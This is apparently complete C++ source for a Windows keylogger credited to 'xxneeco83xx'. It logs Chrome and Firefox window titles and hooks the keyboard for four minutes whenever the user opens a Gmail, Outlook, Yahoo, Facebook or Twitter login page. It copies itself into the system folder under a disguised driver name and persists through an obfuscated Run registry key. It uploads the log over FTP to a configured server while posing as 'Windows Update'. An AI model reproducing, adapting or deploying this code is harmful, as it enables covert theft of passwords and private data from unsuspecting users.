#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#define ALLOC(dwSizee) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSizee + 1 ) )
#define FREE(memblock) GlobalFree ( memblock )
#define GETSIZE(filename) GetSizeFile ( ( LPSTR )filename )
typedef PVOID IHANDLE;
typedef IHANDLE *LPIHANDLE;
typedef WORD I_PORT,*LPI_PORT;
#define LIB ( LPSTR ) "Wininet.dll"
#define ATTR ( DWORD ) ( 0x1 | 0x2 | 0x4 )
typedef BOOL ( __stdcall *_QueryFullProcessImageName ) ( IN HANDLE hProcess, IN DWORD dwFlags,
OUT LPTSTR lpExeName, OUT PDWORD lpdwSize );
typedef IHANDLE ( __stdcall *_iOpen ) ( IN LPCTSTR lpszAgent, IN DWORD dwAccessType, IN LPCTSTR lpszProxyName, IN LPCTSTR lpszProxyByPass, IN DWORD dwFlags );
typedef IHANDLE ( __stdcall *_iConnect ) ( IN IHANDLE hInternet, IN LPCTSTR lpszServerName, IN I_PORT nServerPort, IN LPCTSTR lpszUsername, IN LPCTSTR lpszPassword, IN DWORD dwService, IN DWORD dwFlags, IN DWORD_PTR dwContext );
typedef BOOL ( __stdcall *_iCloseHandle ) ( IN IHANDLE hInternet );
typedef BOOL ( __stdcall *_iSend ) ( IN IHANDLE hConnect, IN LPCTSTR lpszLocalFile, IN LPCTSTR lpszNewRemoteFile, IN DWORD dwFlags, IN DWORD_PTR dwContext );
/*
Keylogger avanzado by xxneeco83xx
Detecta paginas de navegacion en Google Chrome & Firefox
En caso de entrar en paginas que requieran login y demas activa un keylogger por 4 minutos para detectar las teclas.
[email protected]
*/
class PUT_LOGGER
{
private:
IHANDLE Request, Connection;
_iOpen iOpen;
_iConnect iConnect;
_iCloseHandle iCloseHandle;
_iSend iSend;
public:
bool __stdcall ToFile ( PCHAR Server, PCHAR UserName, PCHAR PassWord,
PCHAR FileNameLocal, PCHAR FileNameRemote );
} PUTLOG, *LPUTLOG;
static char path [ MAX_PATH + 1 ];
FILE* salida;
HHOOK hHook;
MSG msg;
BOOL CALLBACK EnumChildProc ( HWND hwnd, LPARAM lParam );
LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam );
DWORD __stdcall Keyboard_Trap ( VOID );
LPSTR __stdcall Split ( IN LPSTR lpszString, IN CHAR Delimiter );
BOOL __stdcall ifCharacter ( IN LPSTR lpszString, IN CHAR pCharacter );
int __stdcall GetMyName ( IN char name [ 256 ] );
BOOL __stdcall GetBuffer ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN LPDWORD dwSize );
DWORD __stdcall GetSizeFile ( IN LPSTR lpszPath );
BOOL __stdcall FileWrite ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN DWORD dwSize );
BOOL __stdcall FileExists ( IN LPSTR lpszPath );
bool __stdcall PUT_LOGGER::ToFile ( PCHAR Server, PCHAR UserName, PCHAR Password,
PCHAR FileNameLocal, PCHAR FileNameRemote )
{
iOpen = ( _iOpen ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetOpenA" );
iConnect = ( _iConnect ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetConnectA" );
iCloseHandle = ( _iCloseHandle ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetCloseHandle" );
iSend = ( _iSend ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "FtpPutFileA" );
Request = iOpen ( "Windows Update common", 1, 0, 0, 0 );
if ( Request == 0L ) {
iCloseHandle ( Request );
return false;
}
Connection = iConnect ( Request, Server, 21, UserName, Password, 1, 0, 0 );
if ( Connection == 0L ) {
iCloseHandle ( Connection );
iCloseHandle ( Request );
return false;
}
if ( iSend ( Connection, FileNameLocal, FileNameRemote, 2, 0 ) == FALSE ) {
iCloseHandle ( Connection );
iCloseHandle ( Request );
return false;
}
else
{
DeleteFileA ( FileNameLocal );
}
iCloseHandle ( Request );
iCloseHandle ( Connection );
return true;
}
BOOL CALLBACK EnumChildProc ( HWND hwnd, LPARAM lParam )
{
char Text [ 256 ], Classes [ 256 ];
GetWindowText ( hwnd, Text, 255 );
SYSTEMTIME time;
GetClassName ( hwnd, Classes, 255 );
if ( ( hwnd == GetForegroundWindow() ) && IsWindowVisible ( hwnd ) )
{
if ( ( lstrcmpA ( Classes, "Chrome_WidgetWin_1" ) == 0 ) && ( lstrlenA ( Text ) >= 1 ) )
{
GetSystemTime ( &time );
salida = fopen ( path, "a+" );
fprintf ( salida, "[%s] - [%d/%d/%d - %d:%d:%d%:%dms]\n", Text, time.wDay, time.wMonth, time.wYear, time.wHour, time.wMinute, time.wSecond, time.wMilliseconds );
fclose ( salida );
//Si detectamos gmail o hotmail, yahoo.
if ( ( lstrcmpA ( Text, "Gmail - Google Chrome" ) == 0 ) ||
( lstrcmpA ( Text, "Outlook - Google Chrome" ) == 0 ) || ( lstrcmpA ( Text, "Yahoo - Google Chrome" ) == 0 )
|| ( lstrcmpA ( Text, "Iniciar sesión - Google Chrome" ) == 0 ) || ( lstrcmpA ( Text, "Facebook - Inicia sesión o regístrate - Google Chrome" ) == 0 )
|| ( lstrcmpA ( Text, "Bienvenido a Twitter - Inicia sesión o regístrate - Google Chrome" ) == 0 ) )
{
HANDLE Thread;
DWORD key;
Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Keyboard_Trap, 0, 0, &key );
if ( Thread )
{
WaitForSingleObject ( Thread, ( 4 * 60000 ) ); // 4 minutos.
}
CloseHandle ( Thread );
UnhookWindowsHookEx ( hHook );
}
}
else if ( ( lstrcmpA ( Classes, "MozillaWindowClass" ) == 0 ) && ( lstrlenA ( Text ) >= 1 ) )
{
GetSystemTime ( &time );
salida = fopen ( path, "a+" );
fprintf ( salida, "[%s] - [%d/%d/%d - %d:%d:%d%:%dms]\n", Text, time.wDay, time.wMonth, time.wYear, time.wHour, time.wMinute, time.wSecond, time.wMilliseconds );
fclose ( salida );
//Si detectamos gmail o hotmail, yahoo.
if ( ( lstrcmpA ( Text, "Gmail - Mozilla Firefox" ) == 0 ) ||
( lstrcmpA ( Text, "Outlook - Mozilla Firefox" ) == 0 ) || ( lstrcmpA ( Text, "Yahoo - Mozilla Firefox" ) == 0 )
|| ( lstrcmpA ( Text, "Iniciar sesión - Mozilla Firefox" ) == 0 ) || ( lstrcmpA ( Text, "Facebook - Inicia sesión o regístrate - Mozilla Firefox" ) == 0 )
|| ( lstrcmpA ( Text, "Bienvenido a Twitter - Inicia sesión o regístrate - Mozilla Firefox" ) == 0 ) )
{
HANDLE Thread;
DWORD key;
Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Keyboard_Trap, 0, 0, &key );
if ( Thread )
{
WaitForSingleObject ( Thread, ( 4 * 60000 ) ); // 4 minutos.
}
CloseHandle ( Thread );
UnhookWindowsHookEx ( hHook );
}
}
}
return TRUE;
}
LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam )
{
char keyname [ 256 ];
if ( nCode < 0 )
{
return CallNextHookEx ( hHook, nCode, wParam, lParam );
}
if ( wParam == WM_KEYDOWN )
{
PKBDLLHOOKSTRUCT keyboard = reinterpret_cast <PKBDLLHOOKSTRUCT>(lParam);
int ScanCode = MapVirtualKeyEx ( keyboard -> vkCode, 0, GetKeyboardLayout ( 0 ) );
GetKeyNameText ( ScanCode << 16, keyname, 255 );
salida = fopen ( path, "a+" );
if ( lstrlenA ( keyname ) > 1 )
{
fprintf ( salida, " %s ", keyname );
}
else
{
fprintf ( salida, "%s", keyname );
}
fclose ( salida );
}
return CallNextHookEx ( hHook, nCode, wParam, lParam );
}
DWORD __stdcall Keyboard_Trap ( VOID )
{
hHook = SetWindowsHookEx ( WH_KEYBOARD_LL, ( HOOKPROC ) Keyboard, GetModuleHandle ( 0L ), 0L );
while ( ! GetMessage ( &msg, 0, 0, 0 ) )
{
TranslateMessage ( &msg );
DispatchMessage ( &msg );
}
UnhookWindowsHookEx ( hHook );
return 0;
}
LPSTR __stdcall Split ( IN LPSTR lpszString, IN CHAR Delimiter )
{
register DWORD bytes = 0;
for ( bytes; bytes <= lstrlenA ( lpszString ); bytes ++ )
{
if ( lpszString [ bytes ] == Delimiter )
{
return lpszString + ( bytes + 1 );
}
}
return lpszString;
}
BOOL __stdcall ifCharacter ( IN LPSTR lpszString, IN CHAR pCharacter )
{
register DWORD bytes = 0;
for ( bytes; bytes <= lstrlenA ( lpszString ); bytes ++ )
{
if ( lpszString [ bytes ] == pCharacter )
{
return TRUE;
}
}
return FALSE;
}
int __stdcall GetMyName ( IN char name [ 256 ] )
{
char szExeName [ MAX_PATH + 1 ];
DWORD dwbytes;
_QueryFullProcessImageName QueryFullProcessImageName = ( _QueryFullProcessImageName )
GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) "KERNEL32.DLL" ), "QueryFullProcessImageNameA" );
HANDLE Process = OpenProcess ( PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId () );
if ( ! Process )
{
CloseHandle ( Process );
return -1;
}
QueryFullProcessImageName ( Process, 0, name, &dwbytes );
CloseHandle ( Process );
return 0;
}
BOOL __stdcall GetBuffer ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN LPDWORD dwSize )
{
HANDLE File;
DWORD dwFileSize, dwBytes;
File = CreateFileA ( lpszPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
return FALSE;
}
dwFileSize = GetFileSize ( File, 0 );
*dwSize = dwFileSize;
ReadFile ( File, pBuffer, dwFileSize, &dwBytes, 0 );
CloseHandle ( File );
return TRUE;
}
DWORD __stdcall GetSizeFile ( IN LPSTR lpszPath )
{
HANDLE File;
DWORD dwFileSize, dwBytes;
File = CreateFileA ( lpszPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
return 0;
}
dwFileSize = GetFileSize ( File, 0 );
CloseHandle ( File );
return dwFileSize;
}
BOOL __stdcall FileWrite ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN DWORD dwSize )
{
HANDLE File;
DWORD dwBytes;
File = CreateFileA ( lpszPath, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, ATTR, 0 );
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
return FALSE;
}
WriteFile ( File, pBuffer, dwSize, &dwBytes, 0 );
CloseHandle ( File );
return TRUE;
}
BOOL __stdcall FileExists ( IN LPSTR lpszPath )
{
DWORD Attributes;
Attributes = GetFileAttributesA ( lpszPath );
if ( Attributes == INVALID_FILE_ATTRIBUTES )
{
return FALSE;
}
else
{
return TRUE;
}
return FALSE;
}
int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{
DWORD dwSize;
DWORD tmp;
HKEY key;
SYSTEMTIME time;
GetLocalTime ( &time );
PUT_LOGGER Logger;
int Hour = time.wHour; //Hora de comienzo.
if ( Hour == 12 || Hour == 0 )
{
Hour = 1;
}
char path_inf [ MAX_PATH + 1 ];
char encrypted [ MAX_PATH + 1 ];
char one [ 10 ] = "Sof";
char two [ 20 ] = "\\Micro";
char three [ 50 ] = "dows\\Curre";
char four [ 50 ] = "\\Ru";
char dop [ 150 ];
if ( lstrlenA ( one ) > 0 )
{
wsprintfA ( encrypted, "%stware%ssoft\\Win%sntVersion%sn", one, two, three, four );
wsprintfA ( path_inf, "%s\\system\\%slogical.%s", getenv ( "windir"), "driver", "exe" );
wsprintfA ( dop, "Driver %s", "Sound" );
wsprintfA ( path, "%s\\config.inf", getenv ( "windir" ) );
}
HWND hwnd = GetDesktopWindow ();
char myname [ MAX_PATH + 1 ];
GetMyName ( myname );
LPSTR Bufferx = ( LPSTR ) ALLOC ( GETSIZE ( myname ) );
GetBuffer ( myname, Bufferx, &dwSize );
FileWrite ( path_inf, Bufferx, dwSize );
if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, encrypted, 0, (0x0002), &key ) == ERROR_SUCCESS )
{
RegSetValueExA ( key, dop, 0, REG_SZ, ( const unsigned char *) myname, ( BYTE ) lstrlenA ( myname ) );
}
RegCloseKey ( key );
for ( DWORD i = 0; i <= dwSize; i ++ )
{
if ( Bufferx [ i ] == '*' && Bufferx [ i + 1 ] == '+' &&
Bufferx [ i + 2 ] == '+' && Bufferx [ i + 3 ] == '*' )
{
Bufferx += ( i + 4 );
dwSize -= ( i + 4 );
}
}
LPSTR Primero, User, Pass, SERVER;
User = ( LPSTR ) ALLOC ( MAX_PATH );
Pass = ( LPSTR ) ALLOC ( MAX_PATH );
SERVER = ( LPSTR ) ALLOC ( MAX_PATH );
Primero = ( LPSTR ) ALLOC ( 600 );
if ( ifCharacter ( Bufferx, ',' ) )
{
Primero = Split ( Bufferx, ',' );
}
else
{
FREE ( Bufferx );
FREE ( Primero );
FREE ( User );
FREE ( Pass );
FREE ( SERVER );
return EXIT_FAILURE;
}
register DWORD bytes = 0;
for ( bytes; bytes <= lstrlenA ( Primero ); bytes ++ )
{
if ( Primero [ bytes ] != ',' )
{
CopyMemory ( & SERVER [ bytes ], & Primero [ bytes ], 1 );
}
else
{
Primero += ( bytes + 1 );
break;
}
}
bytes = 0;
for ( bytes; bytes <= lstrlenA ( Primero ); bytes ++ )
{
if ( Primero [ bytes ] != ',' )
{
CopyMemory ( & User [ bytes ], & Primero [ bytes ], 1 );
}
else
{
Primero += ( bytes + 1 );
break;
}
}
CopyMemory ( & Pass [ 0 ], & Primero [ 0 ], lstrlenA ( Primero ) );
FREE ( Primero );
FREE ( Bufferx );
char tmp_log [ 256 ];
while ( 1 )
{
GetLocalTime ( & time );
if ( time.wMinute == Hour + 1 )
{
wsprintfA ( tmp_log, "archivo de %d:%d:%d - %d-%d-%d.txt", time.wHour, time.wMinute, time.wSecond, time.wDay, time.wMonth, time.wYear );
Logger.ToFile ( SERVER, User, Pass, path, tmp_log );
if ( Hour == 12 || Hour == 0 )
{
Hour = 1;
}
}
if ( ! FileExists ( path_inf ) )
{
FileWrite ( path_inf, Bufferx, dwSize );
if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, encrypted, 0, (0x0002), &key ) == ERROR_SUCCESS )
{
RegSetValueExA ( key, dop, 0, REG_SZ, ( const unsigned char *) myname, ( BYTE ) lstrlenA ( myname ) );
}
RegCloseKey ( key );
}
for ( int i = 0; i <= 1; i ++ )
{
EnumChildWindows ( hwnd, EnumChildProc, 0 );
Sleep ( 2000 );
}
}
FREE ( User );
FREE ( Pass );
FREE ( SERVER );
return EXIT_SUCCESS;
}